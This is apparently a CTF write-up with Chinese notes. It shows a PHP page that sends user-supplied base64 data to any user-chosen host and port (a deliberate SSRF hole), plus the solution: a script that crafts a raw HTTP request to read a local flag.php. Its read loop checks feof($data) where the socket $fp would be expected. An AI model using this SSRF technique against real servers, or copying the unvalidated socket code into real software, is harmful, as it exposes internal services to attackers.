<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
} 

host=127.0.0.1&port=80
主要是data的构造
<?php
$ans= "GET /flag.php HTTP/1.1\r\n";
$ans .= "Host: 127.0.0.1\r\n";
$ans .= "Connection: close\r\n\r\n";
echo base64_encode($ans);
?>
直接自己写请求头然后编码好像没有\r,然后就一直400,最好还是用php脚本写。